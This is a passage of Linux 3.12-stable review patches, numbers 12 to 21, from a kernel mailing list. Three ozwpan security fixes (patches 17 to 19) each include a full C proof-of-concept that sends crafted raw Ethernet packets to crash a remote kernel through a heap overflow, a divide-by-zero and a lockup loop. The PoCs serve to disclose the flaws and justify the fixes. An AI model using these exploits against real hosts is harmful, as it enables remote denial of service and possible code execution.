Fix dev_t minor allocation lifetime". Both this and 2da78092dda1 are candidates for -stable.
--- block/genhd.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-)
block/genhd.c +6 -6
@@ -422,9 +422,9 @@ int blk_alloc_devt(struct hd_struct *part, dev_t *devt)/* allocate ext devt */ idr_preload (GFP_KERNEL ); -spin_lock (&ext_devt_lock); +spin_lock_bh (&ext_devt_lock); idx =idr_alloc (&ext_devt_idr, part,0 ,NR_EXT_DEVT ,GFP_NOWAIT ); -spin_unlock (&ext_devt_lock); +spin_unlock_bh (&ext_devt_lock);idr_preload_end ();if (idx <0 )
@@ -449,9 +449,9 @@ void blk_free_devt(dev_t devt)return ;if (MAJOR (devt) ==BLOCK_EXT_MAJOR ) { -spin_lock (&ext_devt_lock); +spin_lock_bh (&ext_devt_lock);idr_remove (&ext_devt_idr,blk_mangle_minor (MINOR (devt))); -spin_unlock (&ext_devt_lock); +spin_unlock_bh (&ext_devt_lock); } }
@@ -691,13 +691,13 @@ struct gendisk *get_gendisk(dev_t devt, int *partno) }else {struct hd_struct *part; -spin_lock (&ext_devt_lock); +spin_lock_bh (&ext_devt_lock); part =idr_find (&ext_devt_idr,blk_mangle_minor (MINOR (devt)));if (part &&get_disk (part_to_disk (part))) { *partno = part->partno; disk =part_to_disk (part); } -spin_unlock (&ext_devt_lock); +spin_unlock_bh (&ext_devt_lock); }return disk;
Signature · 1 line
2.4.6
PATCH 12/124 USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle
In reply to Jiri SlabyFrom: "John D. Blair" <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit df72d588c54dad57dabb3cc8a87475d8ed66d806 upstream.
Added the USB serial device ID for the HubZ dual ZigBee and Z-Wave radio dongle.
--- drivers/usb/serial/cp210x.c | 1 + 1 file changed, 1 insertion(+)
drivers/usb/serial/cp210x.c +1 -0
@@ -128,6 +128,7 @@ static const struct usb_device_id id_table[] = { { USB_DEVICE(0x10C4, 0x8946) }, /* Ketra N1 Wireless Interface */ { USB_DEVICE(0x10C4, 0x8977) }, /* CEL MeshWorks DevKit Device */ { USB_DEVICE(0x10C4, 0x8998) }, /* KCF Technologies PRN */ + { USB_DEVICE(0x10C4, 0x8A2A) }, /* HubZ dual ZigBee and Z-Wave dongle */ { USB_DEVICE(0x10C4, 0xEA60) }, /* Silicon Labs factory default */ { USB_DEVICE(0x10C4, 0xEA61) }, /* Silicon Labs factory default */ { USB_DEVICE(0x10C4, 0xEA70) }, /* Silicon Labs factory default */
Signature · 1 line
2.4.6
PATCH 13/124 USB: serial: ftdi_sio: Add support for a Motion Tracker Development Board
In reply to Jiri SlabyFrom: Patrick Riphagen <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 1df5b888f54070a373a73b34488cc78c2365b7b4 upstream.
This adds support for new Xsens device, Motion Tracker Development Board, using Xsens' own Vendor ID
--- drivers/usb/serial/ftdi_sio.c | 1 + drivers/usb/serial/ftdi_sio_ids.h | 1 + 2 files changed, 2 insertions(+)
drivers/usb/serial/ftdi_sio.c +1 -0
@@ -713,6 +713,7 @@ static struct usb_device_id id_table_combined [] = { { USB_DEVICE(XSENS_VID, XSENS_AWINDA_DONGLE_PID) }, { USB_DEVICE(XSENS_VID, XSENS_AWINDA_STATION_PID) }, { USB_DEVICE(XSENS_VID, XSENS_CONVERTER_PID) }, + { USB_DEVICE(XSENS_VID, XSENS_MTDEVBOARD_PID) }, { USB_DEVICE(XSENS_VID, XSENS_MTW_PID) }, { USB_DEVICE(FTDI_VID, FTDI_OMNI1509) }, { USB_DEVICE(MOBILITY_VID, MOBILITY_USB_SERIAL_PID) },
drivers/usb/serial/ftdi_sio_ids.h +1 -0
@@ -155,6 +155,7 @@#define XSENS_AWINDA_STATION_PID 0x0101#define XSENS_AWINDA_DONGLE_PID 0x0102#define XSENS_MTW_PID 0x0200/* Xsens MTw */ +#define XSENS_MTDEVBOARD_PID 0x0300/* Motion Tracker Development Board */ #define XSENS_CONVERTER_PID 0xD00D/* Xsens USB-serial converter */ /* Xsens devices using FTDI VID */
Signature · 1 line
2.4.6
PATCH 14/124 x86/asm/irq: Stop relying on magic JMP behavior for early_idt_handlers
In reply to Jiri SlabyFrom: Andy Lutomirski <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 425be5679fd292a3c36cb1fe423086708a99f11a upstream.
The early_idt_handlers asm code generates an array of entry points spaced nine bytes apart. It's not really clear from that code or from the places that reference it what's going on, and the code only works in the first place because GAS never generates two-byte JMP instructions when jumping to global labels.
Clean up the code to generate the correct array stride (member size) explicitly. This should be considerably more robust against screw-ups, as GAS will warn if a .fill directive has a negative count. Using '. =' to advance would have been even more robust (it would generate an actual error if it tried to move backwards), but it would pad with nulls, confusing anyone who tries to disassemble the code. The new scheme should be much clearer to future readers.
While we're at it, improve the comments and rename the array and common code.
Binutils may start relaxing jumps to non-weak labels. If so, this change will fix our build, and we may need to backport this change.
Before, on x86_64:
0000000000000000 <early_idt_handlers>:
0: 6a 00 pushq $0x0
2: 6a 00 pushq $0x0
4: e9 00 00 00 00 jmpq 9 <early_idt_handlers+0x9>
5: R_X86_64_PC32 early_idt_handler-0x4
...
48: 66 90 xchg %ax,%ax
4a: 6a 08 pushq $0x8
4c: e9 00 00 00 00 jmpq 51 <early_idt_handlers+0x51>
4d: R_X86_64_PC32 early_idt_handler-0x4
...
117: 6a 00 pushq $0x0
119: 6a 1f pushq $0x1f
11b: e9 00 00 00 00 jmpq 120 <early_idt_handler>
11c: R_X86_64_PC32 early_idt_handler-0x4After:
0000000000000000 <early_idt_handler_array>:
0: 6a 00 pushq $0x0
2: 6a 00 pushq $0x0
4: e9 14 01 00 00 jmpq 11d <early_idt_handler_common>
...
48: 6a 08 pushq $0x8
4a: e9 d1 00 00 00 jmpq 120 <early_idt_handler_common>
4f: cc int3
50: cc int3
...
117: 6a 00 pushq $0x0
119: 6a 1f pushq $0x1f
11b: eb 03 jmp 120 <early_idt_handler_common>
11d: cc int3
11e: cc int3
11f: cc int3--- arch/x86/include/asm/segment.h | 13 ++++++++++++- arch/x86/kernel/head64.c | 2 +- arch/x86/kernel/head_32.S | 33 ++++++++++++++++++--------------- arch/x86/kernel/head_64.S | 20 +++++++++++--------- 4 files changed, 42 insertions(+), 26 deletions(-)
arch/x86/include/asm/segment.h +12 -1
@@ -212,8 +212,19 @@#define TLS_SIZE (GDT_ENTRY_TLS_ENTRIES * 8)#ifdef __KERNEL__ + +/* +* early_idt_handler_array is an array of entry points referenced in the +* early IDT. For simplicity, it's a real array with one entry point +* every nine bytes. That leaves room for an optional 'push $0' if the +* vector has no error code (two bytes), a 'push $vector_number' (two +* bytes), and a jump to the common entry code (up to five bytes). +*/ +#define EARLY_IDT_HANDLER_SIZE 9 +#ifndef __ASSEMBLY__ -extern const char early_idt_handlers[NUM_EXCEPTION_VECTORS ][2 +2 +5 ]; + +extern const char early_idt_handler_array[NUM_EXCEPTION_VECTORS ][EARLY_IDT_HANDLER_SIZE ];/* * Load a segment. Fall back on loading the zero
arch/x86/kernel/head64.c +1 -1
@@ -162,7 +162,7 @@ asmlinkage void __init x86_64_start_kernel(char * real_mode_data)clear_bss ();for (i =0 ; i <NUM_EXCEPTION_VECTORS ; i++) -set_intr_gate (i, &early_idt_handlers[i]); +set_intr_gate (i, &early_idt_handler_array[i]);load_idt ((const struct desc_ptr *)&idt_descr);copy_bootdata (__va (real_mode_data));
arch/x86/kernel/head_32.S +18 -15
@@ -477,21 +477,22 @@ is486: __INIT setup_once: /* - * Set up a idt with 256 entries pointing to ignore_int, - * interrupt gates. It doesn't actually load idt - that needs - * to be done on each CPU. Interrupts are enabled elsewhere, - * when we can be relatively sure everything is ok. + * Set up a idt with 256 interrupt gates that push zero if there + * is no error code and then jump to early_idt_handler_common. + * It doesn't actually load the idt - that needs to be done on + * each CPU. Interrupts are enabled elsewhere, when we can be + * relatively sure everything is ok. */ movl $idt_table,%edi - movl $early_idt_handlers,%eax + movl $early_idt_handler_array,%eax movl $NUM_EXCEPTION_VECTORS,%ecx 1: movl %eax,(%edi) movl %eax,4(%edi) /* interrupt gate, dpl=0, present */ movl $(0x8E000000 + __KERNEL_CS),2(%edi) - addl $9,%eax + addl $EARLY_IDT_HANDLER_SIZE,%eax addl $8,%edi loop 1b
@@ -523,26 +524,28 @@ setup_once: andl $0,setup_once_ref /* Once is enough, thanks */ ret -ENTRY(early_idt_handlers) +ENTRY(early_idt_handler_array) # 36(%esp) %eflags # 32(%esp) %cs # 28(%esp) %eip # 24(%rsp) error code i = 0 .rept NUM_EXCEPTION_VECTORS - .if (EXCEPTION_ERRCODE_MASK >> i) & 1 - ASM_NOP2 - .else + .ifeq (EXCEPTION_ERRCODE_MASK >> i) & 1 pushl $0 # Dummy error code, to make stack frame uniform .endif pushl $i # 20(%esp) Vector number - jmp early_idt_handler + jmp early_idt_handler_common i = i + 1 + .fill early_idt_handler_array + i*EARLY_IDT_HANDLER_SIZE - ., 1, 0xcc .endr -ENDPROC(early_idt_handlers) +ENDPROC(early_idt_handler_array) - /* This is global to keep gas from relaxing the jumps */ -ENTRY(early_idt_handler) +early_idt_handler_common: + /* + * The stack is the hardware frame, an error code or zero, and the + * vector number. + */ cld cmpl $2,(%esp) # X86_TRAP_NMI
@@ -602,7 +605,7 @@ ex_entry: is_nmi: addl $8,%esp /* drop vector number and error code */ iret -ENDPROC(early_idt_handler) +ENDPROC(early_idt_handler_common) /* This is the default interrupt "handler" :-) */ ALIGN
arch/x86/kernel/head_64.S +11 -9
@@ -321,26 +321,28 @@ bad_address: jmp bad_address __INIT - .globl early_idt_handlers -early_idt_handlers: +ENTRY(early_idt_handler_array) # 104(%rsp) %rflags # 96(%rsp) %cs # 88(%rsp) %rip # 80(%rsp) error code i = 0 .rept NUM_EXCEPTION_VECTORS - .if (EXCEPTION_ERRCODE_MASK >> i) & 1 - ASM_NOP2 - .else + .ifeq (EXCEPTION_ERRCODE_MASK >> i) & 1 pushq $0 # Dummy error code, to make stack frame uniform .endif pushq $i # 72(%rsp) Vector number - jmp early_idt_handler + jmp early_idt_handler_common i = i + 1 + .fill early_idt_handler_array + i*EARLY_IDT_HANDLER_SIZE - ., 1, 0xcc .endr +ENDPROC(early_idt_handler_array) -/* This is global to keep gas from relaxing the jumps */ -ENTRY(early_idt_handler) +early_idt_handler_common: + /* + * The stack is the hardware frame, an error code or zero, and the + * vector number. + */ cld cmpl $2,(%rsp) # X86_TRAP_NMI
@@ -412,7 +414,7 @@ ENTRY(early_idt_handler) is_nmi: addq $16,%rsp # drop vector number and error code INTERRUPT_RETURN -ENDPROC(early_idt_handler) +ENDPROC(early_idt_handler_common) __INITDATA
Signature · 1 line
2.4.6
PATCH 15/124 ring-buffer-benchmark: Fix the wrong sched_priority of producer
In reply to Jiri SlabyFrom: Wang Long <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 108029323910c5dd1ef8fa2d10da1ce5fbce6e12 upstream.
The producer should be used producer_fifo as its sched_priority, so correct it.
--- kernel/trace/ring_buffer_benchmark.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
kernel/trace/ring_buffer_benchmark.c +1 -1
@@ -455,7 +455,7 @@ static int __init ring_buffer_benchmark_init(void)if (producer_fifo >=0 ) {struct sched_param param = { - .sched_priority = consumer_fifo + .sched_priority = producer_fifo };sched_setscheduler (producer,SCHED_FIFO , ¶m); }else
Signature · 1 line
2.4.6
PATCH 16/124 MIPS: Fix enabling of DEBUG_STACKOVERFLOW
In reply to Jiri SlabyFrom: James Hogan <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 5f35b9cd553fd64415b563497d05a563c988dbd6 upstream.
Commit 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection") added kernel stack overflow detection, however it only enabled it conditional upon the preprocessor definition DEBUG_STACKOVERFLOW, which is never actually defined. The Kconfig option is called DEBUG_STACKOVERFLOW, which manifests to the preprocessor as CONFIG_DEBUG_STACKOVERFLOW, so switch it to using that definition instead.
Patchwork: http://patchwork.linux-mips.org/patch/10531/
--- arch/mips/kernel/irq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/mips/kernel/irq.c +1 -1
@@ -110,7 +110,7 @@ void __init init_IRQ(void)#endif } -#ifdef DEBUG_STACKOVERFLOW +#ifdef CONFIG_DEBUG_STACKOVERFLOW static inline void check_stack_overflow (void ) {unsigned long sp;
Signature · 1 line
2.4.6
PATCH 17/124 ozwpan: Use proper check to prevent heap overflow
In reply to Jiri SlabyFrom: "Jason A. Donenfeld" <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream.
Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data.
This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp) - 2
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(0),
.total_size = htole16(0),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozusbsvc1.c | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-)
drivers/staging/ozwpan/ozusbsvc1.c +9 -4
@@ -387,10 +387,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)case OZ_GET_DESC_RSP : {struct oz_get_desc_rsp *body = (struct oz_get_desc_rsp *)usb_hdr; -int data_len = elt->length - -sizeof (struct oz_get_desc_rsp ) +1 ; -u16 offs =le16_to_cpu (get_unaligned (&body->offset)); -u16 total_size = +u16 offs, total_size; +u8 data_len; + +if (elt->length <sizeof (struct oz_get_desc_rsp ) -1 ) +break ; + data_len = elt->length - + (sizeof (struct oz_get_desc_rsp ) -1 ); + offs =le16_to_cpu (get_unaligned (&body->offset)); + total_size =le16_to_cpu (get_unaligned (&body->total_size));oz_dbg (ON ,"USB_REQ_GET_DESCRIPTOR - cnf\n" ); oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,
Signature · 1 line
2.4.6
PATCH 18/124 ozwpan: divide-by-zero leading to panic
In reply to Jiri SlabyFrom: "Jason A. Donenfeld" <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 04bf464a5dfd9ade0dda918e44366c2c61fce80b upstream.
A network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed)
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-)
drivers/staging/ozwpan/ozusbsvc1.c +4 -1
@@ -324,7 +324,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr;u8 *data = body->data; -int n = (len -sizeof (struct oz_multiple_fixed )+1 ) +int n; +if (!body->unit_size) +break ; + n = (len -sizeof (struct oz_multiple_fixed )+1 ) / body->unit_size;while (n--) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
Signature · 1 line
2.4.6
PATCH 19/124 ozwpan: unchecked signed subtraction leads to DoS
In reply to Jiri SlabyFrom: "Jason A. Donenfeld" <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 upstream.
The subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed) - 3
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 1,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozusbsvc1.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-)
drivers/staging/ozwpan/ozusbsvc1.c +4 -3
@@ -324,10 +324,11 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr;u8 *data = body->data; -int n; -if (!body->unit_size) +unsigned int n; +if (!body->unit_size || + len <sizeof (struct oz_multiple_fixed ) -1 )break ; - n = (len -sizeof (struct oz_multiple_fixed )+1 ) + n = (len - (sizeof (struct oz_multiple_fixed ) -1 )) / body->unit_size;while (n--) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
Signature · 1 line
2.4.6
PATCH 20/124 pata_octeon_cf: fix broken build
In reply to Jiri SlabyFrom: Aaro Koskinen <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 4710f2facb5c68d629015747bd09b37203e0d137 upstream.
MODULE_DEVICE_TABLE is referring to wrong driver's table and breaks the build. Fix that.
--- drivers/ata/pata_octeon_cf.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/ata/pata_octeon_cf.c +1 -1
@@ -1068,7 +1068,7 @@ static struct of_device_id octeon_cf_match[] = { }, {}, }; -MODULE_DEVICE_TABLE (of, octeon_i2c_match); +MODULE_DEVICE_TABLE (of, octeon_cf_match);static struct platform_driver octeon_cf_driver = { .probe = octeon_cf_probe,
Signature · 1 line
2.4.6
PATCH 21/124 drm/i915/hsw: Fix workaround for server AUX channel clock divisor
In reply to Jiri SlabyFrom: Jim Bride <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit e058c945e03a629c99606452a6931f632dd28903 upstream.
According to the HSW b-spec we need to try clock divisors of 63 and 72, each 3 or more times, when attempting DP AUX channel communication on a server chipset. This actually wasn't happening due to a short-circuit that only checked the DP_AUX_CH_CTL_DONE bit in status rather than checking that the operation was done and that DP_AUX_CH_CTL_TIME_OUT_ERROR was not set.
[v2] Implemented alternate solution suggested by Jani Nikula.
--- drivers/gpu/drm/i915/intel_dp.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-)
drivers/gpu/drm/i915/intel_dp.c +2 -3
